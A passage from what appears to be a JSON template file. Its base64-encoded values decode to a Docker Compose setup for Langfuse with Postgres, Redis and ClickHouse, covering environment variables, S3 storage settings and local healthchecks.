VU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOmxhdGVzdCcKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0